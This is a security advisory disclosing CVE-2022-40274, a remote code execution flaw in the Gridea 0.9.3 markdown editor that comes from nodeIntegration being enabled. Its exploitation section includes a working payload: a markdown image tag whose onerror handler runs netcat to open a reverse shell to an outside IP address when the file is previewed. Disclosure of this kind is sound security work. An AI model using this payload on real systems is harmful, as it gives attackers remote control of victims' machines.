Gridea 0.9.3 - RCE via nodeIntegration feature
Summary
| Name | Gridea 0.9.3 - RCE via nodeIntegration feature |
| Code name | |
| Product | Gridea |
| Affected versions | Version 0.9.3 |
| State | Public |
| Release date | 2022-09-26 |
Vulnerability
| Kind | Remote command execution |
| Rule | |
| Remote | Yes |
| CVSSv3.1 Vector | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H |
| CVSSv3.1 Base Score | 8.6 |
| Exploit available | Yes |
| CVE ID(s) |
Description
Gridea version 0.9.3 allows an external attacker to execute arbitrary code remotely on any client attempting to view a malicious markdown file through Gridea. This is possible because the application has the nodeIntegration option enabled.
Vulnerability
This vulnerability occurs because the application has the nodeIntegration option enabled. Due to the above, an attacker can embed malicious JS code in a markdown file and send it to the victim for viewing to achieve an RCE.
Exploitation
To exploit this vulnerability, you must send the following file to a user to open with Gridea. The exploit is triggered when the user presses CTRL+P or simply clicks preview.
exploit.md
<img src=1 onerror="require('child_process').exec('nc 192.168.20.38 4444 -e /bin/bash');"/>
Evidence of exploitation
Our security policy
We have reserved the CVE-2022-40274 to refer to this issue from now on.
System Information
-
Version: Gridea 0.9.3
-
Operating System: GNU/Linux
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.
References
Vendor page https://github.com/getgridea/gridea
Timeline
2022-09-08
Vulnerability discovered.
2022-09-08
Vendor contacted.
2022-09-26
Public Disclosure.
